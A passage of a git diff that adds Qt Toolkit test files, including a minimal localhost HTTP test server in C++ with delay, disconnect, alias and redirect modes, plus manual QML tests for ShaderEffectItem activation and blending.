+ QDeclarativeDebugTestClient(const QString &s, QDeclarativeDebugConnection *c);
+
+ QByteArray waitForResponse();
+
+signals:
+ void statusHasChanged();
+ void serverMessage(const QByteArray &);
+
+protected:
+ virtual void statusChanged(Status status);
+ virtual void messageReceived(const QByteArray &ba);
+
+private:
+ QByteArray lastMsg;
+};
+
+
diff --git a/tests/auto/declarative/shared/testhttpserver.cpp b/tests/auto/declarative/shared/testhttpserver.cpp
new file mode 100644
index 00000000..67f03c20
--- /dev/null
+++ b/tests/auto/declarative/shared/testhttpserver.cpp
@@ -0,0 +1,324 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the test suite of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "testhttpserver.h"
+#include <QTcpSocket>
+#include <QDebug>
+#include <QFile>
+#include <QTimer>
+
+/*!
+\internal
+\class TestHTTPServer
+\brief provides a very, very basic HTTP server for testing.
+
+Inside the test case, an instance of TestHTTPServer should be created, with the
+appropriate port to listen on. The server will listen on the localhost interface.
+
+Directories to serve can then be added to server, which will be added as "roots".
+Each root can be added as a Normal, Delay or Disconnect root. Requests for files
+within a Normal root are returned immediately. Request for files within a Delay
+root are delayed for 500ms, and then served. Requests for files within a Disconnect
+directory cause the server to disconnect immediately. A request for a file that isn't
+found in any root will return a 404 error.
+
+If you have the following directory structure:
+
+\code
+disconnect/disconnectTest.qml
+files/main.qml
+files/Button.qml
+files/content/WebView.qml
+slowFiles/slowMain.qml
+\endcode
+it can be added like this:
+\code
+TestHTTPServer server(14445);
+server.serveDirectory("disconnect", TestHTTPServer::Disconnect);
+server.serveDirectory("files");
+server.serveDirectory("slowFiles", TestHTTPServer::Delay);
+\endcode
+
+The following request urls will then result in the appropriate action:
+\table
+\header \o URL \o Action
+\row \o http://localhost:14445/disconnectTest.qml \o Disconnection
+\row \o http://localhost:14445/main.qml \o main.qml returned immediately
+\row \o http://localhost:14445/Button.qml \o Button.qml returned immediately
+\row \o http://localhost:14445/content/WebView.qml \o content/WebView.qml returned immediately
+\row \o http://localhost:14445/slowMain.qml \o slowMain.qml returned after 500ms
+\endtable
+*/
+TestHTTPServer::TestHTTPServer(quint16 port)
+: m_hasFailed(false)
+{
+ QObject::connect(&server, SIGNAL(newConnection()), this, SLOT(newConnection()));
+
+ server.listen(QHostAddress::LocalHost, port);
+}
+
+bool TestHTTPServer::isValid() const
+{
+ return server.isListening();
+}
+
+bool TestHTTPServer::serveDirectory(const QString &dir, Mode mode)
+{
+ dirs.append(qMakePair(dir, mode));
+ return true;
+}
+
+/*
+ Add an alias, so that if filename is requested and does not exist,
+ alias may be returned.
+*/
+void TestHTTPServer::addAlias(const QString &filename, const QString &alias)
+{
+ aliases.insert(filename, alias);
+}
+
+void TestHTTPServer::addRedirect(const QString &filename, const QString &redirectName)
+{
+ redirects.insert(filename, redirectName);
+}
+
+bool TestHTTPServer::wait(const QUrl &expect, const QUrl &reply, const QUrl &body)
+{
+ m_hasFailed = false;
+
+ QFile expectFile(expect.toLocalFile());
+ if (!expectFile.open(QIODevice::ReadOnly)) return false;
+
+ QFile replyFile(reply.toLocalFile());
+ if (!replyFile.open(QIODevice::ReadOnly)) return false;
+
+ bodyData = QByteArray();
+ if (body.isValid()) {
+ QFile bodyFile(body.toLocalFile());
+ if (!bodyFile.open(QIODevice::ReadOnly)) return false;
+ bodyData = bodyFile.readAll();
+ }
+
+ waitData = expectFile.readAll();
+ /*
+ while (waitData.endsWith('\n'))
+ waitData = waitData.left(waitData.count() - 1);
+ */
+
+ replyData = replyFile.readAll();
+
+ if (!replyData.endsWith('\n'))
+ replyData.append("\n");
+ replyData.append("Content-length: " + QByteArray::number(bodyData.length()));
+ replyData .append("\n\n");
+
+ for (int ii = 0; ii < replyData.count(); ++ii) {
+ if (replyData.at(ii) == '\n' && (!ii || replyData.at(ii - 1) != '\r')) {
+ replyData.insert(ii, '\r');
+ ++ii;
+ }
+ }
+ replyData.append(bodyData);
+
+ return true;
+}
+
+bool TestHTTPServer::hasFailed() const
+{
+ return m_hasFailed;
+}
+
+void TestHTTPServer::newConnection()
+{
+ QTcpSocket *socket = server.nextPendingConnection();
+ if (!socket) return;
+
+ if (!dirs.isEmpty())
+ dataCache.insert(socket, QByteArray());
+
+ QObject::connect(socket, SIGNAL(disconnected()), this, SLOT(disconnected()));
+ QObject::connect(socket, SIGNAL(readyRead()), this, SLOT(readyRead()));
+}
+
+void TestHTTPServer::disconnected()
+{
+ QTcpSocket *socket = qobject_cast<QTcpSocket *>(sender());
+ if (!socket) return;
+
+ dataCache.remove(socket);
+ for (int ii = 0; ii < toSend.count(); ++ii) {
+ if (toSend.at(ii).first == socket) {
+ toSend.removeAt(ii);
+ --ii;
+ }
+ }
+ socket->disconnect();
+ socket->deleteLater();
+}
+
+void TestHTTPServer::readyRead()
+{
+ QTcpSocket *socket = qobject_cast<QTcpSocket *>(sender());
+ if (!socket || socket->state() == QTcpSocket::ClosingState) return;
+
+ QByteArray ba = socket->readAll();
+
+ if (!dirs.isEmpty()) {
+ serveGET(socket, ba);
+ return;
+ }
+
+ if (m_hasFailed || waitData.isEmpty()) {
+ qWarning() << "TestHTTPServer: Unexpected data" << ba;
+ return;
+ }
+
+ for (int ii = 0; ii < ba.count(); ++ii) {
+ const char c = ba.at(ii);
+ if (c == '\r' && waitData.isEmpty())
+ continue;
+ else if (!waitData.isEmpty() && c == waitData.at(0))
+ waitData = waitData.mid(1);
+ else if (c == '\r')
+ continue;
+ else {
+ QByteArray data = ba.mid(ii);
+ qWarning() << "TestHTTPServer: Unexpected data" << data << "\nExpected: " << waitData;
+ m_hasFailed = true;
+ socket->disconnectFromHost();
+ return;
+ }
+ }
+
+ if (waitData.isEmpty()) {
+ socket->write(replyData);
+ socket->disconnectFromHost();
+ }
+}
+
+bool TestHTTPServer::reply(QTcpSocket *socket, const QByteArray &fileName)
+{
+ if (redirects.contains(fileName)) {
+ QByteArray response = "HTTP/1.1 302 Found\r\nContent-length: 0\r\nContent-type: text/html; charset=UTF-8\r\nLocation: " + redirects[fileName].toUtf8() + "\r\n\r\n";
+ socket->write(response);
+ return true;
+ }
+
+ for (int ii = 0; ii < dirs.count(); ++ii) {
+ QString dir = dirs.at(ii).first;
+ Mode mode = dirs.at(ii).second;
+
+ QString dirFile = dir + QLatin1String("/") + QLatin1String(fileName);
+
+ if (!QFile::exists(dirFile)) {
+ if (aliases.contains(fileName))
+ dirFile = dir + QLatin1String("/") + aliases.value(fileName);
+ }
+
+ QFile file(dirFile);
+ if (file.open(QIODevice::ReadOnly)) {
+
+ if (mode == Disconnect)
+ return true;
+
+ QByteArray data = file.readAll();
+
+ QByteArray response = "HTTP/1.0 200 OK\r\nContent-type: text/html; charset=UTF-8\r\nContent-length: ";
+ response += QByteArray::number(data.count());
+ response += "\r\n\r\n";
+ response += data;
+
+ if (mode == Delay) {
+ toSend.append(qMakePair(socket, response));
+ QTimer::singleShot(500, this, SLOT(sendOne()));
+ return false;
+ } else {
+ socket->write(response);
+ return true;
+ }
+ }
+ }
+
+
+ QByteArray response = "HTTP/1.0 404 Not found\r\nContent-type: text/html; charset=UTF-8\r\n\r\n";
+ socket->write(response);
+
+ return true;
+}
+
+void TestHTTPServer::sendOne()
+{
+ if (!toSend.isEmpty()) {
+ toSend.first().first->write(toSend.first().second);
+ toSend.first().first->close();
+ toSend.removeFirst();
+ }
+}
+
+void TestHTTPServer::serveGET(QTcpSocket *socket, const QByteArray &data)
+{
+ if (!dataCache.contains(socket))
+ return;
+
+ QByteArray total = dataCache[socket] + data;
+ dataCache[socket] = total;
+
+ if (total.contains("\n\r\n")) {
+
+ bool close = true;
+
+ if (total.startsWith("GET /")) {
+
+ int space = total.indexOf(' ', 4);
+ if (space != -1) {
+
+ QByteArray req = total.mid(5, space - 5);
+ close = reply(socket, req);
+
+ }
+ }
+ dataCache.remove(socket);
+
+ if (close)
+ socket->disconnectFromHost();
+ }
+}
+
diff --git a/tests/auto/declarative/shared/testhttpserver.h b/tests/auto/declarative/shared/testhttpserver.h
new file mode 100644
index 00000000..52412db2
--- /dev/null
+++ b/tests/auto/declarative/shared/testhttpserver.h
@@ -0,0 +1,93 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the test suite of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef TESTHTTPSERVER_H
+#define TESTHTTPSERVER_H
+
+#include <QObject>
+#include <QTcpServer>
+#include <QUrl>
+#include <QPair>
+
+class TestHTTPServer : public QObject
+{
+ Q_OBJECT
+public:
+ TestHTTPServer(quint16 port);
+
+ bool isValid() const;
+
+ enum Mode { Normal, Delay, Disconnect };
+ bool serveDirectory(const QString &, Mode = Normal);
+
+ bool wait(const QUrl &expect, const QUrl &reply, const QUrl &body);
+ bool hasFailed() const;
+
+ void addAlias(const QString &filename, const QString &aliasName);
+ void addRedirect(const QString &filename, const QString &redirectName);
+
+private slots:
+ void newConnection();
+ void disconnected();
+ void readyRead();
+ void sendOne();
+
+private:
+ void serveGET(QTcpSocket *, const QByteArray &);
+ bool reply(QTcpSocket *, const QByteArray &);
+
+ QList<QPair<QString, Mode> > dirs;
+ QHash<QTcpSocket *, QByteArray> dataCache;
+ QList<QPair<QTcpSocket *, QByteArray> > toSend;
+
+ QByteArray waitData;
+ QByteArray replyData;
+ QByteArray bodyData;
+ bool m_hasFailed;
+
+ QHash<QString,QString> aliases;
+ QHash<QString,QString> redirects;
+
+ QTcpServer server;
+};
+
+#endif // TESTHTTPSERVER_H
+
diff --git a/tests/auto/declarative/symbianlibs.pri b/tests/auto/declarative/symbianlibs.pri
new file mode 100644
index 00000000..4452f67f
--- /dev/null
+++ b/tests/auto/declarative/symbianlibs.pri
@@ -0,0 +1,9 @@
+#additional libs required for orientation sensor
+symbian {
+ !contains(S60_VERSION, 3.1):!contains(S60_VERSION, 3.2) {
+ LIBS += -lsensrvclient -lsensrvutil
+ }
+ contains(QT_CONFIG, s60): {
+ LIBS += -lavkon -lcone
+ }
+}
diff --git a/tests/manual/declarative/declarative.pro b/tests/manual/declarative/declarative.pro
new file mode 100644
index 00000000..337db2f9
--- /dev/null
+++ b/tests/manual/declarative/declarative.pro
@@ -0,0 +1,3 @@
+TEMPLATE = subdirs
+contains(QT_CONFIG, opengl): SUBDIRS += qmlshadersplugin
+
diff --git a/tests/manual/declarative/qmlshadersplugin/main.cpp b/tests/manual/declarative/qmlshadersplugin/main.cpp
new file mode 100644
index 00000000..d0f15ca7
--- /dev/null
+++ b/tests/manual/declarative/qmlshadersplugin/main.cpp
@@ -0,0 +1,67 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QML Shaders plugin of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <QtGui/QApplication>
+#include <QtOpenGL>
+#include "qmlapplicationviewer.h"
+
+int main(int argc, char *argv[])
+{
+ QApplication app(argc, argv);
+
+ QGLFormat format = QGLFormat::defaultFormat();
+ format.setSampleBuffers(false);
+ format.setSwapInterval(1);
+
+ QGLWidget* glWidget = new QGLWidget(format);
+ glWidget->setAutoFillBackground(false);
+
+ QmlApplicationViewer viewer;
+ viewer.setViewportUpdateMode(QGraphicsView::FullViewportUpdate);
+ viewer.setViewport(glWidget);
+ viewer.setAttribute(Qt::WA_OpaquePaintEvent);
+ viewer.setAttribute(Qt::WA_NoSystemBackground);
+ viewer.setOrientation(QmlApplicationViewer::Auto);
+ viewer.setMainQmlFile(QLatin1String("qml/qmlshadersplugintest/main.qml"));
+ viewer.show();
+
+ return app.exec();
+}
diff --git a/tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/TestActive.qml b/tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/TestActive.qml
new file mode 100644
index 00000000..ab8df750
--- /dev/null
+++ b/tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/TestActive.qml
@@ -0,0 +1,83 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QML Shaders plugin of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+import Qt.labs.shaders 1.0
+
+Rectangle {
+ anchors.fill: parent;
+ color: "red"
+
+ Timer {
+ running: true
+ interval: 2000
+ repeat: true
+ onTriggered: {
+ //effect.active = !effect.active
+ effect.visible = !effect.visible
+ }
+ }
+
+ ShaderEffectItem {
+ id: effect
+ anchors.fill: parent;
+ fragmentShader: "
+ varying highp vec2 qt_TexCoord0;
+ void main() {
+ gl_FragColor = vec4(0.0, 1.0, 0.0, 1.0);
+ }
+ "
+ }
+
+ Rectangle {
+ width: parent.width
+ height: 40
+ color: "#cc000000"
+
+ Text {
+ id: label
+ anchors.centerIn: parent
+ text: effect.visible ? "Effect active (display should be green)" : "Effect not active (display should be red)"
+ color: "white"
+ font.bold: true
+ }
+ }
+}
diff --git a/tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/TestBasic.qml b/tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/TestBasic.qml
new file mode 100644
index 00000000..fe9bc40f
--- /dev/null
+++ b/tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/TestBasic.qml
@@ -0,0 +1,57 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QML Shaders plugin of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+import Qt.labs.shaders 1.0
+
+Item {
+ anchors.fill: parent;
+
+ ShaderEffectItem {
+ anchors.fill: parent;
+ fragmentShader: "
+ varying highp vec2 qt_TexCoord0;
+ void main() {
+ gl_FragColor = vec4(qt_TexCoord0.x, qt_TexCoord0.y, 1, 1);
+ }
+ "
+ }
+}
diff --git a/tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/TestBlending.qml b/tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/TestBlending.qml
new file mode 100644
index 00000000..1aa0708a
--- /dev/null
+++ b/tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/TestBlending.qml
@@ -0,0 +1,82 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QML Shaders plugin of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+import Qt.labs.shaders 1.0
+
+Rectangle {
+ anchors.fill: parent;
+ color: "green"
+
+ Timer {
+ running: true
+ interval: 2000
+ repeat: true
+ onTriggered: {
+ effect.blending = !effect.blending
+ }
+ }
+
+ ShaderEffectItem {
+ id: effect
+ anchors.fill: parent;
+ fragmentShader: "
+ varying highp vec2 qt_TexCoord0;
+ void main() {
+ gl_FragColor = vec4(1.0, 0.0, 0.0, 0.0);
+ }
+ "
+ }
+
+ Rectangle {
+ width: parent.width
+ height: 40
+ color: "#cc000000"
+
+ Text {
+ id: label
+ anchors.centerIn: parent
+ text: effect.blending ? "Effect blending (display should be orange)" : "Effect not blending (display should be red)"
+ color: "white"
+ font.bold: true
+ }
+ }
+}
diff --git a/tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/TestBlendingModes.qml b/tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/TestBlendingModes.qml
new file mode 100644
index 00000000..5920e642
--- /dev/null
+++ b/tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/TestBlendingModes.qml
@@ -0,0 +1,267 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QML Shaders plugin of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+import QtQuick 1.0
+import Qt.labs.shaders 1.0
+
+Item {
+ id: blendModeTest
+ property real blendItemHeight: 60
+
+ anchors.fill: parent;
+
+ Rectangle {
+ width: parent.width / 6
+ height: parent.height
+ color: "black"
+ }
+ Rectangle {
+ x: parent.width/6 * 1
+ width: parent.width / 6
+ height: parent.height
+ color: "white"
+ }
+ Rectangle {
+ x: parent.width/6 * 2
+ width: parent.width / 6
+ height: parent.height
+ color: "gray"
+ }
+ Rectangle {
+ x: parent.width/6 * 3
+ width: parent.width / 6
+ height: parent.height
+ color: "red"
+ }
+ Rectangle {
+ x: parent.width/6 * 4
+ width: parent.width / 6
+ height: parent.height
+ color: "green"
+ }
+ Rectangle {
+ x: parent.width/6 * 5
+ width: parent.width / 6
+ height: parent.height
+ color: "blue"
+ }
+
+
+ Image {
+ anchors.fill: parent;
+ source: "image.png"
+
+ }
+
+ Rectangle {
+ id: first
+ anchors.top: parent.top
+ anchors.topMargin: 60
+ width: parent.width
+ height: blendModeTest.blendItemHeight
+ color: "#8000ff00"
+ Text {
+ anchors.bottom: parent.bottom
+ anchors.bottomMargin: 5
+ text: " Rectangle color #8000ff00"
+ color: "white"
+ }
+ }
+ Rectangle {
+ id: second
+ anchors.top: first.bottom
+ anchors.topMargin: 5
+ width: parent.width
+ height: blendModeTest.blendItemHeight
+ color: "#ff00ff00"
+ opacity: 0.5
+ Text {
+ anchors.bottom: parent.bottom
+ anchors.bottomMargin: 5
+ text: " Rectangle color #ff00ff00, opacity 0.5"
+ color: "white"
+ }
+ }
+
+ ShaderEffectItem {
+ id: effect
+ anchors.top: second.bottom
+ anchors.topMargin: 5
+ width: parent.width
+ height: blendModeTest.blendItemHeight
+ fragmentShader: "
+ varying highp vec2 qt_TexCoord0;
+ void main() {
+ gl_FragColor = vec4(0.0, 1.0, 0.0, 0.5);
+ }
+ "
+ Text {
+ anchors.bottom: parent.bottom
+ anchors.bottomMargin: 5
+ text: " ShaderEffectItem gl_FragColor=vec4(0.0, 1.0, 0.0, 0.5)"
+ color: "white"
+ }
+ }
+
+ ShaderEffectItem {
+ id: effect2
+ anchors.top: effect.bottom
+ anchors.topMargin: 5
+ width: parent.width
+ height: blendModeTest.blendItemHeight
+ fragmentShader: "
+ varying highp vec2 qt_TexCoord0;
+ void main() {
+ gl_FragColor = vec4(0.0, 0.5, 0.0, 0.5);
+ }
+ "
+ Text {
+ anchors.bottom: parent.bottom
+ anchors.bottomMargin: 5
+ text: " ShaderEffectItem gl_FragColor=vec4(0.0, 0.5, 0.0, 0.5)"
+ color: "white"
+ }
+ }
+
+
+ Image {
+ id: image1
+ source: "green_image_transparent.png"
+ anchors.top: effect2.bottom
+ anchors.topMargin: 5
+ width: parent.width
+ height: blendModeTest.blendItemHeight
+ }
+ Text {
+ anchors.bottom: image1.bottom
+ anchors.bottomMargin: 5
+ text: " Image, green and 50% alpha"
+ color: "white"
+ }
+
+
+ ShaderEffectItem {
+ id: effect3
+ property variant source: ShaderEffectSource {
+ sourceItem: image1
+ hideSource: false
+ }
+ anchors.top: image1.bottom
+ anchors.topMargin: 5
+
+ width: parent.width
+ height: blendModeTest.blendItemHeight
+ Text {
+ anchors.bottom: parent.bottom
+ anchors.bottomMargin: 5
+ text: " ShaderEffectItem, source item green 50% alpha."
+ color: "white"
+ }
+ }
+
+ ShaderEffectItem {
+ id: effect4
+ property variant source: ShaderEffectSource {
+ sourceItem: Image { source: "green_image_transparent.png" }
+ hideSource: true
+ }
+ anchors.top: effect3.bottom
+ anchors.topMargin: 5
+ width: parent.width
+ height: blendModeTest.blendItemHeight
+ Text {
+ anchors.bottom: parent.bottom
+ anchors.bottomMargin: 5
+ text: " ShaderEffectItem, source image green 50% alpha."
+ color: "white"
+ }
+ }
+
+
+ Rectangle {
+ id: greenRect2
+ anchors.top: effect4.bottom
+ anchors.topMargin: 5
+ width: parent.width
+ height: blendModeTest.blendItemHeight
+ opacity: 0.5
+ color: "green"
+ }
+
+
+ ShaderEffectItem {
+ id: effect5
+ property variant source: ShaderEffectSource { sourceItem: greenRect2; hideSource: true }
+ anchors.top: effect4.bottom
+ anchors.topMargin: 5
+
+ width: parent.width
+ height: blendModeTest.blendItemHeight
+ Text {
+ anchors.bottom: parent.bottom
+ anchors.bottomMargin: 5
+ text: " ShaderEffectItem, source item green rect with 0.5 opacity."
+ color: "white"
+ }
+ }
+
+ Timer {
+ running: true
+ interval: 2000
+ repeat: true
+ onTriggered: {
+ }
+ }
+
+
+ Rectangle {
+ width: parent.width
+ height: 40
+ color: "#cc000000"
+
+ Text {
+ id: label
+ anchors.centerIn: parent
+ text: "Blending test"
+ color: "white"
+ font.bold: true
+ }
+ }
+}
diff --git a/tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/TestEffectHierarchy.qml b/tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/TestEffectHierarchy.qml
new file mode 100644
index 00000000..588a740e
--- /dev/null
+++ b/tests/manual/declarative/qmlshadersplugin/qml/qmlshadersplugintest/TestEffectHierarchy.qml
@@ -0,0 +1,133 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QML Shaders plugin of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
